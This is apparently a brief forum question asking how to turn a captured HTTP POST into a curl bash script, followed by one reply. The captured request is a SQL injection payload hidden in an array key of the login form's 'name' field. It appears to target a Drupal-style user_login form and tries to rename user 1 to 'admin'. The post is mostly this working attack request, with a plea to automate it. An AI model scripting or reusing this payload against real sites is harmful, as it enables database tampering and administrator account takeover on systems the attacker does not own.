Data Post with curl

how to make the bash script ?

http://server.com/mysql.php 
POST /mysql.php HTTP/1.1 
Host: server.com 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://server.com/mysql.php 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 176 
name[0; update users set name %3D 'admin' where uid%3D'1';#]=test&name[]=test123&pass=test0123&form_build_id=form-K5Bhsz8UThdxhp4I1rE9ZEB11UaZ1R3wd9rnKsegCRw&form_id=user_login

What have you tried?